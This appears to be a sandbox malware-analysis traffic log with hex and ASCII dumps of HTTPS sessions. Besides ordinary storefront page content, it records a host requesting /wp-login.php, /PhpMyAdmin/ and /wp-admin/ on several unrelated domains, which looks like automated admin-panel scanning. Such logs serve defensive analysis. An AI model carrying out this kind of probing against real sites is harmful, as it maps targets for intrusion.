61 67 65 3a 20 70 72 6f 64 75 63 Data Ascii: Server-Timing: processing;dur=14;desc="gc:1", db;dur=4, asn;desc="174", edge;desc="MIA", country;desc="US", theme;desc="80969105469", pageType;desc="404", servedBy;desc="rtdv", requestID;desc="c55c76ef-f693-4c92-a1e1-673df89467cc"X-Shopify-Stage: produc
2023-12-20 02:13:31 UTC	1369	IN	Data Raw: 37 63 66 34 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 39 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 39 20 6e 6f 2d 6a 73 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 28 67 74 20 49 45 20 39 29 7c 21 28 49 45 29 5d 3e 3c 21 2d 2d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 66 61 63 65 62 6f 6f 6b 2d 64 6f 6d 61 69 6e 2d 76 65 72 69 66 69 63 61 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 77 70 75 78 7a 68 7a 36 67 67 35 6c 6a 7a 78 6f 72 61 69 73 63 37 35 78 72 77 7a 68 32 65 22 Data Ascii: 7cf4<!doctype html>...[if IE 9]> <html class="ie9 no-js" lang="en"> <![endif]-->...[if (gt IE 9)\|!(IE)]>...> <html class="no-js" lang="en"> ...<![endif]--><head> <meta name="facebook-domain-verification" content="wpuxzhz6gg5ljzxoraisc75xrwzh2e"
2023-12-20 02:13:31 UTC	1369	IN	Data Raw: 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 45 63 6f 20 43 68 69 6c 64 20 69 73 20 61 20 6f 6e 65 20 73 74 6f 70 20 6f 72 67 61 6e 69 63 20 62 61 62 79 20 73 68 6f 70 20 74 68 61 74 20 6f 66 66 65 72 73 20 61 20 77 69 64 65 20 73 65 6c 65 63 74 69 6f 6e 20 6f 66 20 62 61 62 79 20 70 72 6f 64 75 63 74 73 20 61 6e 64 20 6b 69 64 73 27 20 65 73 73 65 6e 74 69 61 6c 73 20 74 68 61 74 20 61 72 65 20 6e 61 74 75 72 61 6c 2c 20 65 6e 76 69 72 6f 6e 6d 65 6e 74 20 66 72 69 65 6e 64 6c 79 2c 20 6f 72 67 61 6e 69 63 2c 20 61 6e 64 20 73 61 66 65 2e 20 4e 75 72 74 75 72 65 20 79 6f 75 72 20 63 68 69 6c 64 72 65 6e 20 61 73 20 74 68 65 79 20 67 72 6f 77 2e 20 4f 72 64 65 72 20 74 6f 64 61 79 21 22 3e 0a 0a 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 77 69 74 74 Data Ascii: iption" content="Eco Child is a one stop organic baby shop that offers a wide selection of baby products and kids' essentials that are natural, environment friendly, organic, and safe. Nurture your children as they grow. Order today!"><meta name="twitt
2023-12-20 02:13:31 UTC	1369	IN	Data Raw: 78 74 2f 63 73 73 22 20 6d 65 64 69 61 3d 22 61 6c 6c 22 20 2f 3e 20 0a 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 2f 77 77 77 2e 65 63 6f 63 68 69 6c 64 2e 63 6f 6d 2e 61 75 2f 63 64 6e 2f 73 68 6f 70 2f 74 2f 32 36 2f 61 73 73 65 74 73 2f 63 73 2d 68 65 6c 6c 6f 62 61 62 79 2e 73 74 79 6c 65 73 2e 73 63 73 73 2e 63 73 73 3f 76 3d 39 32 38 37 39 33 33 33 36 38 38 33 32 33 36 35 39 39 35 31 36 38 32 39 32 33 35 35 39 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 6d 65 64 69 61 3d 22 61 6c 6c 22 20 2f 3e 20 0a 20 20 0a 20 20 3c 21 2d 2d 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 2f 77 77 77 2e 65 63 6f 63 68 69 6c 64 2e 63 6f 6d 2e 61 75 2f 63 64 6e 2f 73 68 6f 70 2f 74 2f 32 36 2f 61 73 73 Data Ascii: xt/css" media="all" /> <link href="//www.ecochild.com.au/cdn/shop/t/26/assets/cs-hellobaby.styles.scss.css?v=92879333688323659951682923559" rel="stylesheet" type="text/css" media="all" /> ... <link href="//www.ecochild.com.au/cdn/shop/t/26/ass
2023-12-20 02:13:31 UTC	1369	IN	Data Raw: 66 5d 2d 2d 3e 0a 0a 20 20 3c 21 2d 2d 5b 69 66 20 28 67 74 20 49 45 20 39 29 7c 21 28 49 45 29 5d 3e 3c 21 2d 2d 3e 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 77 77 77 2e 65 63 6f 63 68 69 6c 64 2e 63 6f 6d 2e 61 75 2f 63 64 6e 2f 73 68 6f 70 2f 74 2f 32 36 2f 61 73 73 65 74 73 2f 74 68 65 6d 65 2e 6a 73 3f 76 3d 39 30 37 32 38 33 39 35 39 30 37 30 34 34 33 35 33 38 31 35 39 30 30 32 32 39 33 37 22 20 64 65 66 65 72 3d 22 64 65 66 65 72 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 20 20 3c 21 2d 2d 5b 69 66 20 6c 74 65 20 49 45 20 39 5d 3e 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 77 77 77 2e 65 63 6f 63 68 69 6c 64 2e 63 6f 6d 2e 61 75 2f 63 64 6e 2f 73 68 6f 70 2f 74 2f 32 36 2f 61 73 73 65 74 73 2f 74 68 65 Data Ascii: f]--> ...[if (gt IE 9)\|!(IE)]>...><script src="//www.ecochild.com.au/cdn/shop/t/26/assets/theme.js?v=9072839590704435381590022937" defer="defer"></script>...<![endif]--> ...[if lte IE 9]><script src="//www.ecochild.com.au/cdn/shop/t/26/assets/the
2023-12-20 02:13:31 UTC	1369	IN	Data Raw: 6f 73 74 61 6c 41 64 64 72 65 73 73 22 2c 22 65 6d 61 69 6c 22 2c 22 70 68 6f 6e 65 22 5d 2c 22 73 68 69 70 70 69 6e 67 54 79 70 65 22 3a 22 73 68 69 70 70 69 6e 67 22 2c 22 73 75 70 70 6f 72 74 65 64 4e 65 74 77 6f 72 6b 73 22 3a 5b 22 76 69 73 61 22 2c 22 6d 61 73 74 65 72 43 61 72 64 22 2c 22 61 6d 65 78 22 2c 22 6a 63 62 22 5d 2c 22 74 6f 74 61 6c 22 3a 7b 22 74 79 70 65 22 3a 22 70 65 6e 64 69 6e 67 22 2c 22 6c 61 62 65 6c 22 3a 22 45 63 6f 20 43 68 69 6c 64 22 2c 22 61 6d 6f 75 6e 74 22 3a 22 31 2e 30 30 22 7d 2c 22 73 68 6f 70 69 66 79 50 61 79 6d 65 6e 74 73 45 6e 61 62 6c 65 64 22 3a 74 72 75 65 2c 22 73 75 70 70 6f 72 74 73 53 75 62 73 63 72 69 70 74 69 6f 6e 73 22 3a 74 72 75 65 7d 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 69 64 3d Data Ascii: ostalAddress","email","phone"],"shippingType":"shipping","supportedNetworks":["visa","masterCard","amex","jcb"],"total":{"type":"pending","label":"Eco Child","amount":"1.00"},"shopifyPaymentsEnabled":true,"supportsSubscriptions":true}</script><script id=
2023-12-20 02:13:31 UTC	1369	IN	Data Raw: 64 75 6c 65 22 3e 21 66 75 6e 63 74 69 6f 6e 28 6f 29 7b 28 6f 2e 53 68 6f 70 69 66 79 3d 6f 2e 53 68 6f 70 69 66 79 7c 7c 7b 7d 29 2e 6d 6f 64 75 6c 65 73 3d 21 30 7d 28 77 69 6e 64 6f 77 29 3b 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 3e 21 66 75 6e 63 74 69 6f 6e 28 6f 29 7b 66 75 6e 63 74 69 6f 6e 20 6e 28 29 7b 76 61 72 20 6f 3d 5b 5d 3b 66 75 6e 63 74 69 6f 6e 20 6e 28 29 7b 6f 2e 70 75 73 68 28 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2e 73 6c 69 63 65 2e 61 70 70 6c 79 28 61 72 67 75 6d 65 6e 74 73 29 29 7d 72 65 74 75 72 6e 20 6e 2e 71 3d 6f 2c 6e 7d 76 61 72 20 74 3d 6f 2e 53 68 6f 70 69 66 79 3d 6f 2e 53 68 6f 70 69 66 79 7c 7c 7b 7d 3b 74 2e 6c 6f 61 64 46 65 61 74 75 72 65 73 3d 6e 28 29 2c 74 2e 61 75 74 6f 6c 6f 61 64 46 65 61 Data Ascii: dule">!function(o){(o.Shopify=o.Shopify\|\|{}).modules=!0}(window);</script><script>!function(o){function n(){var o=[];function n(){o.push(Array.prototype.slice.apply(arguments))}return n.q=o,n}var t=o.Shopify=o.Shopify\|\|{};t.loadFeatures=n(),t.autoloadFea
2023-12-20 02:13:31 UTC	1369	IN	Data Raw: 68 6f 70 2d 70 61 79 5f 33 61 30 35 38 65 62 61 2e 65 73 6d 2e 6a 73 22 5d 2c 22 64 69 73 63 6f 75 6e 74 2d 61 70 70 22 3a 5b 22 6d 6f 64 75 6c 65 73 2f 63 6c 69 65 6e 74 2e 64 69 73 63 6f 75 6e 74 2d 61 70 70 5f 34 35 66 66 61 66 63 63 2e 65 6e 2e 65 73 6d 2e 6a 73 22 2c 22 6d 6f 64 75 6c 65 73 2f 63 68 75 6e 6b 2e 63 6f 6d 6d 6f 6e 5f 61 61 31 38 66 33 64 38 2e 65 73 6d 2e 6a 73 22 5d 2c 22 6c 6f 67 69 6e 2d 62 75 74 74 6f 6e 22 3a 5b 22 6d 6f 64 75 6c 65 73 2f 63 6c 69 65 6e 74 2e 6c 6f 67 69 6e 2d 62 75 74 74 6f 6e 5f 31 36 62 33 33 31 30 36 2e 65 6e 2e 65 73 6d 2e 6a 73 22 2c 22 6d 6f 64 75 6c 65 73 2f 63 68 75 6e 6b 2e 63 6f 6d 6d 6f 6e 5f 61 61 31 38 66 33 64 38 2e 65 73 6d 2e 6a 73 22 5d 2c 22 70 61 79 6d 65 6e 74 2d 74 65 72 6d 73 22 3a 5b 22 6d Data Ascii: hop-pay_3a058eba.esm.js"],"discount-app":["modules/client.discount-app_45ffafcc.en.esm.js","modules/chunk.common_aa18f3d8.esm.js"],"login-button":["modules/client.login-button_16b33106.en.esm.js","modules/chunk.common_aa18f3d8.esm.js"],"payment-terms":["m
2023-12-20 02:13:31 UTC	1369	IN	Data Raw: 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 27 73 63 72 69 70 74 27 29 5b 30 5d 3b 0a 20 20 20 20 20 20 78 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 69 6e 73 65 72 74 42 65 66 6f 72 65 28 73 2c 20 78 29 3b 0a 20 20 20 20 7d 0a 20 20 7d 3b 0a 20 20 69 66 28 77 69 6e 64 6f 77 2e 61 74 74 61 63 68 45 76 65 6e 74 29 20 7b 0a 20 20 20 20 77 69 6e 64 6f 77 2e 61 74 74 61 63 68 45 76 65 6e 74 28 27 6f 6e 6c 6f 61 64 27 2c 20 61 73 79 6e 63 4c 6f 61 64 29 3b 0a 20 20 7d 20 65 6c 73 65 20 7b 0a 20 20 20 20 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 6c 6f 61 64 27 2c 20 61 73 79 6e 63 4c 6f 61 64 2c 20 66 61 6c 73 65 29 3b 0a 20 20 7d 0a 7d 29 28 29 3b 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 Data Ascii: cument.getElementsByTagName('script')[0]; x.parentNode.insertBefore(s, x); } }; if(window.attachEvent) { window.attachEvent('onload', asyncLoad); } else { window.addEventListener('load', asyncLoad, false); }})();</script><scrip
2023-12-20 02:13:31 UTC	1369	IN	Data Raw: 2b 2b 29 69 66 28 2d 31 21 3d 3d 6f 2e 69 6e 64 65 78 4f 66 28 6e 5b 72 5d 29 29 72 65 74 75 72 6e 20 74 2e 70 61 72 65 6e 74 45 6c 65 6d 65 6e 74 3b 72 65 74 75 72 6e 20 6e 75 6c 6c 7d 28 65 2c 5b 22 2f 63 6f 6e 74 61 63 74 22 2c 22 2f 63 6f 6d 6d 65 6e 74 73 22 2c 22 2f 61 63 63 6f 75 6e 74 22 5d 29 29 26 26 6e 75 6c 6c 21 3d 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 74 29 26 26 28 28 65 3d 6f 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 63 72 69 70 74 22 29 29 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 73 72 63 22 2c 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2e 73 68 6f 70 69 66 79 2e 63 6f 6d 2f 73 68 6f 70 69 66 79 63 6c 6f 75 64 2f 73 74 6f 72 65 66 72 6f 6e 74 2d 72 65 63 61 70 74 63 68 61 2d 76 33 2f 76 30 2e 36 2f 69 6e 64 65 78 2e 6a 73 Data Ascii: ++)if(-1!==o.indexOf(n[r]))return t.parentElement;return null}(e,["/contact","/comments","/account"]))&&null!=e.querySelector(t)&&((e=o.createElement("script")).setAttribute("src","https://cdn.shopify.com/shopifycloud/storefront-recaptcha-v3/v0.6/index.js

Session ID	Source IP	Source Port	Destination IP	Destination Port
223	192.168.2.4	60682	199.60.103.2	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:31 UTC	415	OUT	GET /wp-login.php HTTP/1.1 Host: www.greenlawnfertilizing.com Accept: / Accept-Encoding: deflate, gzip Cookie: __cfruid=f9e567529add4aaa59de3ceb83771d70dc477fae-1703038407; __cf_bm=Dywd.0936Vq29pVbp8I8Fu3OEx.bsTU3cxXxEZXep7s-1703038407-1-AQTPK5aeDnWMjcosgjCzVJxsDmmFTKPENnUu2yFp/oaAg8Z+WzrJwZMe7OlyJCgLCCTKAony8PUtg91LiLeworY= User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:31 UTC	709	IN	HTTP/1.1 404 Not Found Date: Wed, 20 Dec 2023 02:13:31 GMT Content-Type: text/html Content-Length: 2556 Connection: close Strict-Transport-Security: max-age=31536000 Content-Security-Policy: upgrade-insecure-requests X-Hs-Https-Only: worker X-HS-Reason: Expected 404 for path Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=YSYKedcfWZQj2yrinSripZrFU2BF6faUw6JUuwd6Ok9iVJF84UVYwlsBWzM9Fm57Q3qy7wxLrb5UTHE8%2Bv8ElBkX3nj05iwZ4A4bl9rMGWSDb98a%2Btnh67gYtVejYbCJMvoAdo90RepG9RhSStc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 83845dd96c1521c7-MIA alt-svc: h3=":443"; ma=86400
2023-12-20 02:13:31 UTC	660	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 68 74 6d 6c 2c 0a 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 Data Ascii: <!DOCTYPE html><html lang="en"> <head> <meta charset="utf-8"> <title>Not Found</title> <meta name="viewport" content="width=device-width, initial-scale=1"> <style type="text/css"> html, body { background-color: #ff
2023-12-20 02:13:31 UTC	1369	IN	Data Raw: 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 31 35 70 78 3b 0a 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 61 2c 0a 20 20 20 20 20 20 61 3a 76 69 73 69 74 65 64 20 7b 0a 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 30 30 39 31 62 30 3b 0a 20 20 20 20 20 20 20 20 20 20 74 72 61 6e 73 69 74 69 6f 6e 3a 20 61 6c 6c 20 2e 31 35 73 20 65 61 73 65 2d 6f 75 74 3b 0a 20 20 20 20 20 20 20 20 20 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 6e 6f 6e 65 3b 0a 20 20 20 20 20 20 20 20 20 20 63 75 72 73 6f 72 3a 20 70 6f 69 6e 74 65 72 3b 0a 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 61 3a 68 6f 76 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 30 30 37 61 38 63 3b 0a 20 20 20 20 20 20 20 20 20 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e Data Ascii: gin-bottom: 15px; } a, a:visited { color: #0091b0; transition: all .15s ease-out; text-decoration: none; cursor: pointer; } a:hover { color: #007a8c; text-decoration
2023-12-20 02:13:31 UTC	527	IN	Data Raw: 31 31 2e 32 33 20 35 2e 34 63 31 2e 33 35 2d 2e 38 37 34 20 32 2e 39 39 38 2d 31 2e 33 39 35 20 34 2e 37 36 39 2d 31 2e 34 48 31 36 63 34 2e 39 37 31 20 30 20 39 20 34 2e 30 32 39 20 39 20 39 7a 4d 37 20 31 33 63 2e 30 30 35 2d 31 2e 37 37 31 2e 35 32 36 2d 33 2e 34 32 20 31 2e 34 32 31 2d 34 2e 38 30 35 4c 38 2e 34 20 38 2e 32 33 6c 31 32 2e 33 37 20 31 32 2e 33 35 63 2d 31 2e 33 34 38 2e 38 38 2d 32 2e 39 39 36 20 31 2e 34 30 39 2d 34 2e 37 36 37 20 31 2e 34 32 48 31 36 63 2d 34 2e 39 37 31 20 30 2d 39 2d 34 2e 30 32 39 2d 39 2d 39 7a 22 2f 3e 0a 20 20 20 20 20 20 3c 2f 73 76 67 3e 0a 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 68 73 5f 63 6f 6e 74 65 6e 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 3e 54 68 69 73 20 70 61 67 65 20 69 73 20 75 Data Ascii: 11.23 5.4c1.35-.874 2.998-1.395 4.769-1.4H16c4.971 0 9 4.029 9 9zM7 13c.005-1.771.526-3.42 1.421-4.805L8.4 8.23l12.37 12.35c-1.348.88-2.996 1.409-4.767 1.42H16c-4.971 0-9-4.029-9-9z"/> </svg> <div class="hs_content"> <h1>This page is u

Session ID	Source IP	Source Port	Destination IP	Destination Port
224	192.168.2.4	60834	66.96.160.139	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:31 UTC	176	OUT	GET /PhpMyAdmin/ HTTP/1.1 Host: ads-ecuador.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:31 UTC	222	IN	HTTP/1.1 404 Not Found Date: Wed, 20 Dec 2023 02:13:31 GMT Content-Type: text/html Content-Length: 867 Connection: close Server: Apache/2 Last-Modified: Fri, 10 Jan 2020 16:05:10 GMT Accept-Ranges: bytes Age: 0
2023-12-20 02:13:31 UTC	867	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 0d 0a 20 20 20 20 3c 68 65 61 64 3e 0d 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 45 72 72 6f 72 20 2d 20 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 23 61 64 5f 66 72 61 6d 65 7b 20 68 65 69 67 68 74 3a 38 30 30 70 78 3b 20 77 69 64 74 68 3a 31 30 30 25 3b 20 7d 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 64 79 7b 20 6d 61 72 67 69 6e 3a 30 3b 20 62 6f 72 64 65 72 3a 20 30 3b 20 70 61 64 64 69 6e 67 3a 20 30 3b 20 7d 0d 0a 20 20 20 20 20 20 20 20 3c 2f 73 74 79 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 61 Data Ascii: <!DOCTYPE HTML><html> <head> <title>404 Error - Page Not Found</title> <style> #ad_frame{ height:800px; width:100%; } body{ margin:0; border: 0; padding: 0; } </style> <script src="//a

Session ID	Source IP	Source Port	Destination IP	Destination Port
225	192.168.2.4	60835	3.33.130.190	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:31 UTC	328	OUT	GET /PhpMyAdmin/ HTTP/1.1 Host: walshfam.com Accept: / Accept-Encoding: deflate, gzip Cookie: traffic_target=gd; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles" User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:31 UTC	836	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 20 Dec 2023 02:13:31 GMT Content-Type: text/html Content-Length: 1543 Last-Modified: Wed, 13 Dec 2023 20:27:43 GMT Connection: close ETag: "657a13bf-607" X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_f55BFzjglJBIqRiFTURBPGYgQJprCktB+UgAIaqd7O8DZRh8Q9ZoFsi4aPeVQiUj1sqHYsJGB91y9KSM5ybjcQ Cache-Control: no-cache X-Content-Type-Options: nosniff Set-Cookie: caf_ipaddr=102.129.152.212;Path=/;Max-Age=86400; Set-Cookie: country=US;Path=/;Max-Age=86400; Set-Cookie: city="Los%20Angeles";Path=/;Max-Age=86400; Set-Cookie: traffic_target=gd;Path=/;Max-Age=86400; Set-Cookie: _policy={"restricted_market":false,"tracking_market":"implicit"};Path=/;Max-Age=86400; Accept-Ranges: bytes
2023-12-20 02:13:31 UTC	1543	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 2f 3e 3c 74 69 74 6c 65 3e 3c 2f Data Ascii: <!doctype html><html lang="en"><head><meta http-equiv="content-type" content="text/html;charset=utf-8"/><meta name="viewport" content="width=device-width,initial-scale=1"/><link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"/><title></

Session ID	Source IP	Source Port	Destination IP	Destination Port
226	192.168.2.4	60839	13.248.169.48	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:31 UTC	322	OUT	GET /PhpMyAdmin/ HTTP/1.1 Host: bvox.com Accept: / Accept-Encoding: deflate, gzip Cookie: expiry_partner=; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles" User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:31 UTC	836	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 20 Dec 2023 02:13:31 GMT Content-Type: text/html Content-Length: 12976 Last-Modified: Wed, 13 Dec 2023 20:27:43 GMT Connection: close ETag: "657a13bf-32b0" X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_ii1Rsiv1+wBmQWhe4iSAIj43gXJq0sVOS4Efa5qeDTD6ph3fg8P+xY3r8qyBPHQT4CjJJnQdPkOJLqVkUWLtuQ Cache-Control: no-cache X-Content-Type-Options: nosniff Set-Cookie: caf_ipaddr=102.129.152.212;Path=/;Max-Age=86400; Set-Cookie: country=US;Path=/;Max-Age=86400; Set-Cookie: city="Los%20Angeles";Path=/;Max-Age=86400; Set-Cookie: expiry_partner=;Path=/;Max-Age=86400; Set-Cookie: _policy={"restricted_market":false,"tracking_market":"implicit"};Path=/;Max-Age=86400; Accept-Ranges: bytes
2023-12-20 02:13:31 UTC	12976	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 2f 3e 3c 74 69 74 6c 65 3e 3c 2f Data Ascii: <!doctype html><html lang="en"><head><meta http-equiv="content-type" content="text/html;charset=utf-8"/><meta name="viewport" content="width=device-width,initial-scale=1"/><link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"/><title></

Session ID	Source IP	Source Port	Destination IP	Destination Port
227	192.168.2.4	61144	162.159.134.42	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:31 UTC	223	OUT	GET /wp-admin/ HTTP/1.1 Host: directa-plus.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://directa-plus.com/wp-login.php
2023-12-20 02:13:32 UTC	897	IN	HTTP/1.1 520 Date: Wed, 20 Dec 2023 02:13:32 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 7189 Connection: close CF-Ray: 83845dd9e8af6c87-MIA Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Expires: Thu, 01 Jan 1970 00:00:01 GMT ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.5;mv=3.0.1 ki-origin: g1p Referrer-Policy: same-origin X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=dXoggZ%2FJt2XgOGTnTf%2BUsiCqQ83heBDlknKSVz3TZx%2BBv277RW3Zix0m37YAbqZ6E25mB4QSVzEPtAkpA%2FevUiP6dTspNRrSXERzT%2F8Q7yKDb0ypgYuK0%2BJlWORLIs4h9yU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
